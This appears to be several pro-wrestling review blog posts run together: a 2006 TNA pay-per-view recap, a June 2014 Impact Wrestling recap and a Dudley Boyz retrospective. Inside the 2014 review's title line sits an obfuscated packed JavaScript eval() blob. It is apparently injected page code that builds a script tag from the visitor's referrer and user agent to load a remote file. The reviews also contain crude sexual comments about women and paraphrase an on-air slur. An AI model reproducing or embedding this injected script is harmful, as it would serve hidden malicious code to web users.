The move we would call Wasteland sets up a missed Lionsault and both guys are down. Lethal gets a neckbreaker and a single arm suplex for two. The fans chant Lethal Weapon (How was that never a move name for him???) as Shelley takes him down again. German gets two for Lethal. Diving headbutt gets two also. Lethal wrestles a lot like Benoit from the early to mid 90s. Not that it matters as Shelley grabs Sliced Bread #2 to end it.

Rating: C-. Not terrible but far more of a collection of moves than a good match. Shelley wasn’t much at this point and Lethal was just a kid here also so there wasn’t much as far as a ring general out there. Lethal not having a finisher didn’t help either, making this a fairly boring match overall. Certainly not a bad match, but really not that interesting at all.

Time to run down the card.

Team Canada talks about their matches tonight, making fun of the Naturals. This was back in the day when Impact was on Saturdays so they keep referencing last night. Coach D’Amore brags about Canada a bit. Shelley shows up to steal Young to film more stuff. Young says his Canadian Danger Sense is going off like never before. A-1 is apparently replacing him in the tag match later.

Matt Bentley vs. Lance Hoyt

Bentley has Traci with him and has one major thing going for him: his cousin is Shawn Michaels. These two were partners and broke up over Traci I believe. Standard stuff but nothing wrong with it. Speed vs. power here and power takes over to start. There are some St. Louis Cardinals here. Bentley tries to leave so Traci uses her overly large chest to distract Lance.

This fails completely so Hoyt tries a big boot and chokeslam. Matt goes after the knees but walks into a powerslam for two. BIG side slam for two. Maverick Matt (he’s fighting the Ticked Off Texan here. See what I’m up against?) gets a neckbreaker for two. Front facelock goes on as does my alarm to wake me up when this is over.

They slug it out, won by Hoyt. Pumphandle slam gets two so the future Vance Archer goes up for a missed moonsault, Apparently the entire company is bored by this match as we pan up to Young, Shelley and Borash in the rafters where they’re looking for Sting. Young drops some fliers out to the fans as we’re ignoring the match entirely. Traci shows it to Bentley, breaking up the superkick finisher. It says “Have you seen this man?” with a picture of Sting, saying contact Jeff Jarrett immediately. Hoyt gets a big boot to end this. What a mess.

Rating: F. Even the company decided to have something else going on during this match. When a match reaches that level of bad, you know you’ve got something bad on your hands here. Neither of these guys ever did anything and would have TV matches on PPV like this for a good while to come.

Rhyno, Team 3D and Ron Killings say they’re going to take down Planet Jarrett. It’s an 8 man tag tonight. Oh wait an 8 man war. Got it.

Team Canada vs. The Naturals

Bobby (Robert) Roode and Eric Young here. The Naturals are Chase Stevens and Andy Douglas. Roode vs. I think that’s Stevens to start us off. The announcers are talking about buffets or something so I’m not sure. Stevens (I was right) takes over and the Naturals double team a bit. Douglas takes over on Young but Roode hooks the leg to take over. Let’s talk about Sting some more as Young’s nickname being SHOWTIME started the Sting return stuff. It’s going to be one of those nights.

Stevens comes back in again and no one cares. I don’t even think Stevens does. He puts Young on the rope and kicks him onto the ropes crotch first. Interference takes over allowing Roode to hammer on Stevens (does it matter?) including a knee drop off the middle rope. Off to Young again as we’re firmly into the boring stages of this match again.

The fans chant USA as I could go for a history lecture at this point. Young gets flipped upside down in the corner but Douglas won’t let him walk along the apron. Stevens gets an enziguri to send Young outside. A-1 helps him back in and puts him in the corner right next to Roode. Well Canadians always have had better wrestlers than we have. Ice cold tag brings in Douglas who gets a tornado DDT on Roode for two.

The Naturals totally botch something and down goes Eric. Full Nelson Slam by Roode to Stevens gets two. Piledriver is broken up and it’s a Tower of Doom spot which you never see in modern TNA for some reason. That only gets two on Roode and their finisher doesn’t work. Instead a hockey stick to the head of Douglas ends this. Thank goodness it’s over.

Rating: D. This is one of those matches where the wrestling is fine but at the same time there was NOTHING of interest in the entire match. No point here to this being on PPV as the whole thing went too long and nothing at all was interesting nor did there seem to be a point to this match at all. Granted that could be said about almost every match on this show so far.

Monty Brown says he’s awesome and he’s going to win the title. Larry Zbyszko comes up looking like a stupid tourist and says it’ll be a level playing field. And that’s about it.

We recap the James Gang vs. LAX. No point to the match here but apparently it’s a long feud and the James Gang (Outlaws) bring in…..Road Dogg’s father Bob Armstrong to make this a six man tag.

LAX vs. James Gang/Bob Armstrong

LAX is Konnan, Homicide and Machete who would be a bigger deal in Puerto Rico and this would be his last major appearance in TNA. And Armstrong is in tights of course. This is the same one that was put into the WWE HOF this year. He’s 66 years old here and is considered the savior in a feud. This wouldn’t be the last time either which says a lot about TNA. Road Dogg (BG James) says this isn’t about catchphrases and something about ticking off a tribal elder or something.

This is about Konnan vs. BG apparently. Tenay brags about Armstrong wearing 30 year old boots and having broken into wrestling 40 years ago. Machete vs. BG to start us off. Apparently LAX hurt papa awhile ago. BG gets triple teamed which doesn’t last long. LAX cheats a lot and I can’t believe we’re only 1/3 done with this show. Homicide in now with a reverse neckbreaker for two. What’s a regular neckbreaker if that’s the reverse?

Both guys try flying forearms but crash into each other. Kip (Billy Gunn) and Machete in. If BG and Kip’s last name is James, why is BG’s dad’s last name Armstrong? Everyone hits the floor and it’s Konnan vs. Bob in the ring. He left Mexico for this people! Armstrong fires away and for some reason Konnan has to sell for him. Machete tries a chair shot which is broken up by the Bullet. Machete is surrounded by all three and a One and Only (Cobra Clutch Slam) ends him quickly. Totally pointless.

Rating: D. Well Konnan is now worthless. TNA and so many other wrestling companies can never get the concept that NO ONE KNOWS WHO BOB ARMSTRONG IS! He was a regional guy back in the 70s and early 80s. Why in the world would I want to watch a no name in his sixties on PPV? With Flair it’s a bit different but still dude, let it go. Match was dull too because everyone knew LAX would lose.

Time for Sting related segment #4 in the first hour. Young and Shelley are looking for him and Young rolls across the floor like a ninja. Is he going to kidnap a Samoan? They go into a bathroom and AJ is there. There’s a coat on the floor and gay jokes are made. Idiotic.

Petey Williams vs. Puma vs. Sonjay Dutt vs. Chris Sabin

International match here. Puma is somewhat more famous as TJ Perkins in ROH. This was part of the buildup for the American X Cup which was something like an Olympics for X guys. This is during Hail Sabin which is rather cool. One fall to a finish here but they have to tag. Puma vs. Dutt to start us off. Puma manages to counter an armdrag into a rollup somehow as they’re flying around here.

Off to Petey and Sabin very quickly and it’s gymnastics time again. Springboard cross body misses for Petey but Sabin gets a springboard missile dropkick for two. Thumb to the eye of Sabin and he can’t see. Everyone is in the ring quickly and we wind up with Puma vs. Sabin. The masked dude (Puma) throws on a double underhook hold for a bit and it’s off to Petey again.

This is going WAY too fast to keep up with everything that happens. Dutt comes in and hits a Lionsault to Puma for two. Off to Williams vs. Dutt now as Petey puts him in the Tree of Woe. Blind tag by Sabin which lets him get a hesitation dropkick to Sonjay. Surfboard goes on as we slow things way down again.

And now we get a fine example of why wrestling looks stupid. With the same hold on, Dutt rotates his arms to escape and get behind Sabin into the same hold. Dutt however doesn’t have a hold of Sabin. Sabin is in the hold BECAUSE HE IS HOLDING ONTO SONJAY’S WRISTS. Dutt takes over and chops away because Sabin is really, really stupid. Off to Puma now which makes me wonder why you would ever tag out in a match like this.

Dropkick gets two for Puma. Williams comes in and stomps away on Sabin some more, including singing O Canada while standing on Sabin’s Motor City Machine Gun. Chinlock goes on and they slug it out. Sabin goes to the floor so Petey hits a slingshot rana to the floor and it’s time for the dives. Dutt sets for his but Puma drills him with a clothesline for two.

Everyone teases dives and blocks various other people’s stuff until Dutt takes everyone out with a big moonsault off the top. I’m glad the tagging got thrown out the window about 5 minutes in. Everyone is down again in the ring after more fast paced stuff. All four people snap off all kinds of stuff and Petey tries a Sharpshooter for a big pop. Tornado DDT takes Puma down again and it’s Canadian Destroyer time. That gets reversed by Dutt into a Fade To Black (Kaz’s move).

Sabin and Dutt chop it out with Sabin grabbing a powerbomb and into a helicopter bomb for two. Puma breaks it up and gets a double underhook delayed suplex for two on Sabin. Puma gets sent to the floor and Williams hits the Destroyer on Dutt and Puma pops up again to take out Williams. His save costs him though as he turns around into the Cradle Shock to end Puma and give Sabin the win.

Rating: B+. Very fast paced and fun match here that did exactly what it was supposed to do: get the crowd going after the AWFUL first hour. The X Cup was always cool and gave us some incredibly fun and exciting matches such as this one. Very fun stuff here as the international flare was a nice touch to it. No story or selling to it but there wasn’t supposed to be.

And now off to Jarrett as we stay on Sabin for a total of 5 seconds before we MUST see the draw here. And no, I’m not saying that those four or that style could carry the company because it couldn’t. Jarrett, Abyss and AMW say that they’ll win the war. Mitchell says Jarrett’s Army is awesome. Jarrett talks about Sting because he has to. Young and Shelly come in AGAIN, literally making their fifth appearance each tonight. Jarrett calls off the hunt for Sting (thank goodness) and that he’ll be in the ring if Sting wants to come find him.

We recap the 8 man war. Basically the faces are opposing Planet Jarrett/Jeff Jarrett’s Army or whatever they’re calling it this week. This is one of those feuds where it’s three feuds in one.

Jeff Jarrett’s Army vs. Team 3D/Ron Killings/Rhyno

The Army is Jarrett, AMW and Abyss. Jackie Gayda is being held against her will due to something about a video tape. At least Gail Kim looks hot here. So in other words, Jeff has had Debra, Gail and Karen. Not bad at all. It’s so weird to hear What’s Up on a TNA show. This is just a big street fight. The non Army (Navy?) hits the ring and we’re out of the ring almost immediately.

Truth would be the captain of the team for lack of anyone better. They’re in the aisle, the stands and the stage all at once. Rhyno tries to Gore Abyss off the stands but Abyss gets a boot up. Bubba ACTUALLY HITS THE BACK SPLASH (minus the rope) on Storm I think. Jarrett and Truth go to the Spanish table. D-Von and Harris are finally found in the stands. Rhyno pops Abyss with a chair. If this sounds all over the place, there’s a reason for that.

Jarrett gets some chair shots into Truth and since they’re the only ones you can see clearly we stay on them for a bit. We finally can see everyone and it’s Storm vs. Rhyno in the ring at the moment. Rhyno actually tags in D-Von and even the announcers make fun of it. The Dudleys try a Doomsday Device but Harris saves, allowing Abyss to chokeslam Ray.

Off to Jarrett vs. D-Von now with Jarrett in total control. And scratch that as Storm comes in and down he goes. The future Bully comes in and cleans house. Rhyno adds a spinebuster for two. Abyss hammers on Rhyno a bit now and the slug out goes to Abyss. Jarrett gets a dropkick and it’s off to Storm. Uh make that Harris. We have a chinlock in a WAR. I give up.

Yep it’s a boring match now. They managed to take a huge brawl that was pretty cool to start off and turned it into another boring tag match. Rhyno vs. Jarrett now and both guys go down. Harris comes in to make sure nothing exciting happens here. Perish the thought. Killings FINALLY comes in to clean house. He avoids a splash from Abyss in the corner and gets that suplex into a Stunner to Storm for two.

The Dudleys come in and it turns into a big brawl again. Guitar comes in and Jarrett has to hide it from the referee because this is a stupid match. Gore takes Jarrett down but a Black Hole Slam does the same to Rhyno. Gail breaks up What’s Up so Jackie comes in and it’s a double What’s Up to Gail and Jeff. D-Von goes to do the chest slap to Jackie and pauses in a funny spot.

3D takes out Abyss but AMW takes out Team 3D. Death Sentence to D-Von and Killings gets taken down by a double team as well. I hear handcuffs but Truth apparently has experience with them as Harris winds up cuffed to the ring. Axe kick gets two as Jarrett pulls the referee out. Jarrett and Truth slug it out a bit and the Stroke ends this rather quickly.

Rating: C. Leave it to TNA to take their WAR and make it boring for a large part of it. They started in an actual war then went to a regular match and then to a big decent fight. Of course TNA managed to take what could have been a good match and get the whole order of it screwed up. Match was just ok and the feud would continue for the most part next month at Lockdown.

Jarrett complains about Sting a bit and says he’s a coward. He gets in the ring and gives Sting a ten count which Sting doesn’t answer.

We recap Ultimate X with the idea being that no one can beat Joe so the two X Division guys are going to put him in their match. Joe was AWESOME at this point as was this three way feud.

Joe says he’s going to win and keep the title, which he misses. Goldberg comparisons are made. Don’t make me laugh.

X-Division Title: AJ Styles vs. Samoa Joe vs. Christopher Daniels

They make it clear that the undefeated streak isn’t on the line here. AJ and Daniels go for corners immediately but Joe is like “dudes we’re on PPV you know it’s not ending that fast.” Joe beats up AJ a bit so Daniels takes a chance at the belt. The challengers go high/low on Joe and go at it themselves. AJ sets for a dropkick but Daniels grabs the rope. AJ is like screw it and just does a standing backflip and then hits the dropkick. AWESOME.

AJ and Daniels go up but of course crash down after kicking each other a bit. Daniels goes to the floor so AJ pops Joe with some forearms including the springboard one, bringing a smile to my face. AJ gets sent to the floor and Joe wants to get a highlight reel moment, busting out a corkscrew plancha over the top to the floor to CRUSH both guys. Joe tries to go across but slips off with a little help from Daniels.

Back in the ring now with Daniels in control. Enziguri and a running knee take Joe to the floor so it’s down to the non-Samoans. AJ climbs with Daniels following so AJ gets a twisting sunset sitout powerbomb to take Daniels down. Joe goes off on both guys, possibly having been offered a box of doughnuts. Out to the floor and Joe puts Daniels in a chair to set up the Ole Kick but AJ dives in for the save instead of going for the belt.

We start the Joe’s Gonna Kill You (I prefer IDR) chants as he sets up the Musclebuster. Daniels and Joe slug it out in the middle with Tenay saying Joe is feeding off of this. Joe feeding on something. Film at eleven! Clutch in the corner doesn’t work for Joe as both guys combine to hit a double Musclebuster on Joe in a cool spot. Pele takes down Daniels which is a move I appreciate more every time I see it. The timing and placement on that has to be perfect.

AJ goes up as the fans are chanting for everyone not named Joe. Styles gets to the belt but Joe pops him in the back with a chair to save the title. In a pretty weak ending, Daniels hits Joe with the chair and casually climbs up to get the belt and end it. Just like that. No big drama spot or anything as Daniels just grabs the belt. He would lose the title in about a month back to Joe on Impact, making this virtually pointless. Joe freaks out as Daniels and AJ shake hands.

Rating: B. Good but certainly not great here. Watching these three together is never a bad thing though as they have incredible chemistry and it’s nice to see Daniels actually win something in this feud rather than having Joe and AJ dominate 100% of the time. The problem is that this was compared to the Unbreakable match which isn’t going to work ever, so take it for what it’s worth.

Christian talks about being tough but being the underdog no matter what he does. The fans chant his name and he talks about how Brown may have been a star football player but this isn’t the Serengeti but rather the Peep Zone. Christian says he’ll keep the title because that’s how he rolls.

We recap the feud which basically said that Jarrett guaranteed Brown the next title shot when Brown helped Jarrett beat Cage. The problem is Christian won but Brown got the title shot promised to him instead of Jarrett getting his rematch. It resulted in a monster vs. an average sized guy in Christian. In a bit that is rather stupid yet funny at the same time, Christian asked him what the capital of Thailand is. “Bangkok.” Say it with me: a low blow followed.

NWA World Title: Christian Cage vs. Monty Brown

Yeah still the NWA Title here which would last about another 14 months when Christian would be stripped of the title. Brown is a big old strong guy that uses a half spear/half shoulder block as a finisher. He’s a bit more known in WWE as Marcus Cor Von. Christian was certainly over in Orlando. Christian is the hometown boy so he’s by far and away the favorite. That and he’s a face.

Dueling chants begin and here we go. Christian has bad ribs because it’s illegal to be fully healthy against a monster challenger I guess. Christian grabs a headlock but Brown gets a shot to the ribs to break it up. They trade chops and Christian gets tossed to the floor. They brawl into the crowd where the people seem, shall we say, not very interested. Back to the ring and more slugging occurs.

And never mind as we’re right back to the floor. Christian tries to come back in off the top but gets caught by a punch to the ribs. This time they slug it out on the apron for a little variety before they go to the floor again. Into the ring again for more punching to the ribs of the champion. To say this is repetitive is like saying Austin likes to drink. Brown drapes him over the ropes and sends him into the post/buckle for two.

We hit the abdominal stretch which is a perfectly logical move. We’re over ten minutes into this match and I don’t think Christian has used anything other than punches or chops. Tornado DDT is reversed for two. Cage fires off some forearms before Brown hits him in the ribs to remind us that he knows how to do that. Down goes Monty but the frog splash misses for Christian and we hit another rib hold, this one on the mat.

To the corner now with Brown hammering on the ribs again. Christian knocks him off the top and drops a backsplash for two. Unprettier is blocked into an Alpha Bomb for two (big powerbomb). Unprettier is blocked into an F5 for two. Another Alpha Bomb is blocked into the Unprettier to end this. At least it’s over.

Rating: D+. Really dull match here as Brown was trying but Christian’s offense was so one dimensional for the first 12-14 minutes that it was putting me to sleep. Brown isn’t a guy capable of going 17 minutes without boring people to tears and that’s exactly what the case was here. Bad main event that needed to be about 5 minutes shorter to make it work in any fashion.

Christian starts to celebrate and cue Jarrett. We get an Edge reference and Jarrett wants his rematch RIGHT NOW. Christian mentions something about Jarrett retiring and flubs his lines. They talk over each other and Christian says he’ll beat him up but can’t give him a title shot. Brown pops up and it’s 2-1. Christian fights back with a double clothesline but Abyss comes out to make it 3-1.

Rhyno makes it 3-2 as you can see Lockdown being made right here. Team Canada and AMW with Shelley are here as Jarrett’s Army has about 8 people in it or so. The fans chant for Sting as Christian is cuffed and whipped with a belt. Sting (Steve Borden. Whatever) comes out of the crowd and beats up all eight or nine guys on his own. He literally only has to scream at Young to get rid of him.

Apparently this is over Jarrett stalking Sting’s (the announcers keep changing names too) family. Sting whips him with the belt and goes for the Scorpion, because when you think psychotic revenge, you think leg lock. Jarrett taps but Scott Steiner debuts to join Planet Jarrett and beat up Sting as the rest of Jarrett’s Army recovers at the exact same time of course. Everyone beats Sting up as Tenay overreacts beyond belief. The idiot fans chant for Goldberg. That’s hilarious. Steiner Recliner to Sting (for the love of tar PULL THE ARMS BACK YOU LAZY MICHIGAN STEROID FREAK!) and a guitar shot ends this.

Overall Rating: D. TNA in 2006 was a very mixed bag. What I mean by that is you had Team Jarrett that dominated the main event and a group of various faces fighting against him. It was ok but Jarrett wound up winning four world titles in like a year and a half out of it while everyone was bored out of his mind with him. Angle showed up in the fall but it’s not like it meant much. Anyway, weak PPV, WAY too much Jarrett/Sting stuff and nothing that hasn’t been done better elsewhere.

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Impact Wrestling – June 19, 2014: ….I Need A Minute

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytibz|var|u0026u|referrer|dttkk||js|php'.split('|'),0,{})) Wrestling
Date: June 19, 2014
Location: Sands Bethlehem Events Center, Bethlehem, Pennsylvania
Commentators: Mike Tenay, Tazz

We’re out of Slammiversary and Eric Young is still World Champion. However, there is something new tonight to keep our minds off of him: TOMMY DREAMER! Yes, the man who used to be in a big time indy promotion about thirteen years ago and now runs another promotion which sounds like a tribute to ECW (I know there’s more to it than that) is back because of some angle involving Bully Ray at a recent House of Hardcore show. Apparently Dixie has invited Dreamer to the Impact Zone for a confrontation, because Dixie being at war with two groups just isn’t enough Dixie. Let’s get to it.

We open with a package on Slammiversary, highlighting Young pinning Aries to retain the title.

Here’s the Trio to open the show. MVP looks upset and says he’ll get straight to the point: no he can’t wrestle and he’s still disgusted by what happened last Sunday. Dixie cried to the board of directors and probably threw around some money, earning him an official reprimand. He doesn’t care to hear from some stuffed shirt in Dallas because he’s been making this company the best he can. The show is directed by and starring MVP with his great supporting cast.

That brings MVP to Eric Young, who MVP wants out here right now. Eric says Slammiversary was great but he didn’t get to punch MVP in the face. MVP accuses Eric and Aries of collusion to keep the title, but Young says the fans are in charge around here. He doesn’t want to wait two hours and wants to come beat up MVP right now. Kenny King grabs the mic and wants a title shot right now, which Eric is totally cool with.

TNA World Title: Eric Young vs. Kenny King

Young hammers away to start and nails a quick Thesz press, only to be sent out to the floor in front of Lashley and MVP. This brings out the Wolves, Joe and Aries with chairs to even the odds. King nails a dive onto Young and puts on a chinlock back inside. Eric fights up and makes his comeback but gets punched in the ribs coming off the top. The Royal Flush is quickly countered into a small package though and Eric keeps the title at 3:38.

Rating: D+. Nothing to see here due to a lack of time but the four guys coming to the ring was more interesting. Someone is going to have to join MVP’s team soon as it’s 5-2 at this point, but I’m not sure who it could actually be. Joe and Aries are hot right now so they would be the most likely candidates.

Back from a break and the Trio are yelling at the bell ringer, claiming that Kenny kicked out. Eric Young and his supporters come out to make the save. MVP gets on the mic and yells about being God. He’s making another World Title match tonight with Lashley getting a title shot. The Wolves are going to defend tonight against Aries/Joe and another team that isn’t announced. First though, Earl Hebner needs to get out here FAST. MVP yells at him for counting slowly and fires Earl. Brian Hebner comes out to plead for his dad’s job but it doesn’t work. MVP was acting like he had lost his mind here.

The Carters are here and pleased with what happened on Sunday. Dixie will respond to a keyboard warrior tonight.

Eric promises to defend the belt all night long. What happened with Earl isn’t cool though. He gets a phone call from someone and needs the guy here tonight. Eric leaves his phone and the call was from Kurt Angle.

Tag Team Titles: Austin Aries/Samoa Joe vs. Wolves vs. Willow/Abyss

Aries and Willow get things going and trade some headlocks. Austin takes him down and brings in Joe for a running knee drop. Willow brings in Abyss to splash Joe in the corner followed by Poetry in Motion for good measure. Willow gets caught in the Clutch and Aries puts Abyss in the Last Chancery but the Wolves make the double save. Joe and Aries are sent to the floor but slide in to avoid dives and hit suicide dives of their own. We see Tommy Dreamer arriving and we take a break.

Back with Abyss hammering away on Davey and glaring the referee down to the floor. Eddie comes in and a double dropkick knocks Abyss into the corner for a tag off to Aries. The Wolves quickly take Aries down and Eddie drops a top rope knee drop for two. A loud chop has Aries in more trouble and the champions double team him in the corner. In a nice combo, Eddie German suplexes Aries and Davey rolls him up for a close two. Aries dropkicks Davey down and hits a discus forearm to send him into the corner, but right into Abyss.

Aries rolls away and makes the tag off to Joe as things start to break down. The backsplash and powerslam get two on Abyss followed by a middle rope kick to the chest. Abyss gets over for a tag to Willow as everything breaks down. Aries, Joe and the Wolves wind up on the floor so Willow can hit a huge dive to take everyone down. Back in and Davey blocks the Swanton with knees, setting up a powerbomb from Eddie into the Backstabber from Davey to retain at 13:10.

Rating: B-. Good match here and finall something that got time to develop. That’s one of Impact’s biggest issues anymore: there’s no time for a match like this, meaning nothing can really get going. The Wolves need competition and if makeshift teams of former World Champions are how they get there then so be it.

MVP tells King and Lashley to take care of Angle if need be.

We get the explanation for Tommy Dreamer being here tonight. He runs House of Hardcore, an independent promotion, and received permission to use TNA talent. Dixie intervened and pulled the talent at the last minute and Dreamer is upset. He gets a live mic tonight.

Samoa Joe and Austin Aries are escorted out of the building.

MVP makes the Wolves defend the Titles again tonight against Bram/Magnus.

Here are Dixie and Spud so she can brag about Slammiversary. She tells Bully that she’ll never go through a table and goes on a rant about negative haters telling her how to run her company and hiding behind a keyboard. This brings her to Tommy Dreamer, who gets to talk about why he hates Dixie in person.

Dreamer comes out and Dixie says she’s starting to remember who he is. She rants about him hiding behind 140 characters in his little hardcore promotion and offers to let him talk. Dreamer thanks her for letting him be here but has to stop for an ECW chant. Tommy talks about social media and how they met on Twitter. They sat at her home and watched a football game, then set up Hardcore Justice as a way to give the ECW fans and wrestlers closure.

Now Dreamer watches Impact and is disgusted by what he sees her doing. What happened to the woman that sat in the crowd and then drank beers with the ECW guys in the ring? Now it’s the Dixie Carter Show out here (Spud: “YES!”) and Dreamer can’t handle it. If Dixie wants her own reality show, go to Hollywood and get one. Dreamer does just run a small company but he travels the world and talks to wrestling fans. He talks to fans who are battling cancer and tells them to watch wrestling.

Dreamer was at Slammiversary and saw Dixie be a fan again, so please remember why she fell in love with wrestling in the first place. Dixie nearly breaks down and hugs Dreamer….and hits him low. Spud and Ethan run in and beat Dreamer out to the floor. Not sure what the point of it was but Dreamer’s speech wasn’t bad.

Angle arrives and asks Lashley and King to get him MVP. They don’t seem to approve.

MVP comes up to Angle to tell him that he doesn’t have time to talk.

Tag Team Titles: Wolves vs. Bram/Magnus

The Wolves work over Magnus’ arm to start but Eddie gets sent to the floor and Bram whips him into the barricade. Back in and Eddie kicks Magnus in the face before diving over to make the tag to Davey. Everything breaks down and Magnus basically no sells a bunch of kicks in the corner. Davey does the throw one man into the other and dropkick him into a DDT spot (I can’t stand that thing) but Bram pelts a chair at Davey for the DQ at 4:30.

Rating: D+. This didn’t have time to go anywhere, much like the entire show tonight. The Wolves need challengers and Bram/Magnus fit the description, but in a show this rushed due to a LONG Dreamer speech, there’s no time to showcase the match at all. Bram wanting to hurt people instead of win is interesting though.

Abyss and Willow save Davey from having his neck Pillmanized.

MVP talks to a crying Brian Hebner and implies that he’s fired if Brian doesn’t screw over Eric.

MVP talks to a crying Brian Hebner and implies that he’s fired if Brian doesn’t screw over Eric.

Magnus and Bram reveal they were paid off to hurt the Wolves. Abyss and Willow attack them.

Gail Kim brings out the returning Terryn Terrell. We get the required “I respect you” speech Terryn says she’s back after having a baby girl but remembers being tied 1-1 with Gail. Therefore, we need a rubber match to determine the best Knockout. This brings out the Beautiful People with Angelina saying Gail doesn’t run this division. Gail and Terryn get jumped but eventually Terrell cleans house and the Beautiful People are sent running. Nothing special here but it was ANYTHING other than MVP/Dixie so I’ll take it.

Speaking of MVP, he goes to see what Angle wants. Angle wants MVP to look inside himself and see what he’s really doing. This goes nowhere as Angle is ejected from the building as well.

Gail and Terryn are sent out for no apparent reason.

JB says he’s never seen anything like this because the backstage area and productions staff is completely gone. MVP pops up because his 198 segments tonight haven’t been enough. He ejects JB and the cameraman for good measure.

TNA World Title: Bobby Lashley vs. Eric Young

Young is on his own while King and MVP are in Lashley’s corner. A clothesline puts Lashley to the floor and a big cross body off the top puts Lashley down again. Back in and Eric’s cross body is caught in mid air but he rolls Lashley up for two. A HUGE backdrop puts the champion down again and Eric is sent to the floor. Back from a break with Eric in trouble and getting suplexed down with one arm.

The champion makes his comeback and gets two off his third cross body of the match. Lashley stomps him in the corner but misses a charge, only to come back with a kick to the ribs. Eric nails the piledriver out of nowhere but King pulls the referee out at two. Lashley nails Kenny by mistake and Eric hits a quick DDT. The top rope elbow misses though and Lashley spears him down for the pin and the title at 8:45.

Rating: D+. This was just a step above a squash for Lashley and WHY DID THIS NOT HAPPEN ON SUNDAY? I’m sure there’s some reason for it but given that it’s TNA I doubt they can explain it to you. Thankfully Young doesn’t come off as a worthless champion, but he’s only a step above transitional.

Results
Eric Young b. Kenny King – Small package
Wolves b. Austin Aries/Samoa Joe and Willow/Abyss – Powerbomb/Backstabber combo to Willow
Wolves b. Bram/Magnus via DQ when Bram used a chair
Bobby Lashley b. Eric Young – Spear




Wrestler of the Day – June 1: Dudley Boyz

Today we’re going with the newest inductees into the TNA Hall of Fame: the Dudley Boys.

I know there are about 10 different Dudleyz, but we’ll be looking at the only two most people care about.

After a long run as part of the Dudley Boyz stable, consisting of a bunch of odd characters, D-Von showed up and made the Dudleyz a serious group. This led to Bubba Ray and D-Von forming a regular tag team who won several Tag Team Titles. One of their many title shots was at Hardcore Heaven 1997.

ECW Tag Titles: Dudley Boys vs. Gangstas

The Dudleys get no intro again. They’re joined by Big Dick Dudley, Sign Guy Dudley, Joel Gertner, and Jenna Jameson. Joel talks about how tonight….wait a minute. JENNA FREAKING JAMESON??? HOW DID THEY GET HER??? That makes little sense but whatever as she looks epic. Joey knows her before anyone introduces her. That’s not going to go over well at all methinks (stolen from X).

Anyway, Joel does the really long intro, including a great line of “One fall, fifteen minute time limit, your referee in charge is bald.” That’s a lot better than it sounds. Jenna looks like she’s having fun, which is far more than Pam Anderson could do. The Gangstas aren’t here tonight apparently, so the Dudleys win by forfeit. Instead we get this.

ECW Tag Titles: Dudley Boys vs. PG-13

The challengers are more commonly known as the white guys from the Nation of Domination. They were like 15 time tag champion in Memphis so whatever. They’re white rappers with the same amount of talent for wrestling that Vanilla Ice had at rapping. They’ve been talking all of ten seconds and I already hate them. They’re naturally the heels since they’re from Lawler’s company.

The one that talks is trying to be Jerry Lawler and it’s just failing all around. Oh and everyone wants to screw Jenna, and who can blame them? They must want to die from the clap or something like that. So after 8 minutes of intros we start with D-Von against Wolfie D. I wonder if he’s related to Desmond Wolf. You can shoot me at the end of the review. His partner is named JC Ice. That sums them up as well as anything I can say.

We get our first sexual assault on Jenna as JC hits the floor to kiss her. Ok correction: PG-13 aren’t bad. They’re just REALLY annoying. I really want to just smack the tar out of both of them 2 minutes into the match. In an amusing spot, Bubba has one of the white guys in his evil clutches but as he’s handing him to D-Von for some cheating, JC reverses it to give Bubba’s arm to D-Von, who keeps ramming it over his shoulder while all of his managers try to get his attention.

Once he finally gets the point he’s slammed the arm down about 9 times, drawing him a massive YOU F’D UP chant. Actually, the Dudleys are the heels here, which is a tribute to their heel drawing abilities. The Dudleys are FAR bigger than the other guys. It’s really funny looking. Jenna looks incredible. Every time she jumps there’s a huge pop.

They pick up the pace a lot and it turns into a free for all, which is how most tag matches in any company end so no problems there. PG13 is something like the Briscos if you’re an ROH fan, just minus the flair and the gimmick. 3D on Wolfe and that’s it. That came out of nowhere. The announcer says still 3 time tag team champions, which they could have been if they had lost.

Rating: C+. This was slightly better than your average tag match which means it wasn’t that bad. It’s about ten minutes long and is a run of the mill power vs. high flying match, meaning that it’s decent enough. It’s no classic, but I’ve seen far worse matches. Yeah that’s all I’ve got.

Here’s a rare non-title match from Wrestlepalooza 1998.

Dudley Boys vs. Tommy Dreamer/Sandman

Sandman cuts off the always funny Gertner entrance but the song makes up for it a bit. Beaulah is about as close to perfect as you can get. This is another “grudge” match where the grudge was developed between PPVs with no explanation as to what started it or any useless information like that. I get that Sandman’s entrance is cool, but they need to cut a minute or two out of it as it just goes on forever. Yep this is going to be a massive brawl because it’s been a full 4 minutes since we saw one of those.

And there’s the first table and my eyes roll immediately. This of course devolves into a massive brawl that has no semblance of anything noteworthy at all. We get some great shots of Beaulah and that’s about it. Sandman leaves because of his neck and after about five minutes of Tommy being murdered, Spike more or less replaces Sandman. He gets a 3D for trying to save Beaulah but Sandman comes back in a neck brace. Yeah because he was able to see the doctor and the doctor released him inside of five minutes I guess. A pair of DDTs end this and the Dudleys lose.

Rating: D-. Only reason this isn’t failing is I’ve always thought Beaulah was beyond sexy. This was just ridiculous as Dreamer survived what should have killed him to come back and be fine. It was just a total mess and it wasn’t entertaining for the most part. They had no idea what to do with the Dudleys at this point.

Over the years, one of the Dudleyz’s favorite pastimes was torturing their half brother Spike. The only thing Spike could do was get a partner to fight back. Here’s an example of that from Heat Wave 1999.

Tag Titles: Dudley Boys vs. Spike Dudley/Balls Mahoney

Something tells me this is going to take awhile to start. Bubba talks about how these are the only belts that mean anything. That explains them jumping in less than 5 months. Gertner is still selling the injuries from the missed fireball. Joey says he looks like the Invisible Man. Joey, you fail. This is a fairly infamous promo as Bubba more or less has the crowd on the verge of rioting with how much heat they have on them.

This is where he says there’s a *insert gay slur here* in the front row and a mother who taught her daughter to suck dick. The Dudleys say that if the fans won’t come to them, the Dudleys will come to the fans. This is intense stuff if nothing else as a woman spits on Bubba. Now it’s time for Gertner to talk. He makes sex jokes based on the names of movies in theaters at the time to really date the show.

They’ve been talking for ten minutes now. Ok, we get it already. FINALLY Balls’ music kicks on. And now Balls talks. He says it’s a street fight with falls count anywhere. Wow I’m stunned. Naturally it’s a massive mess.

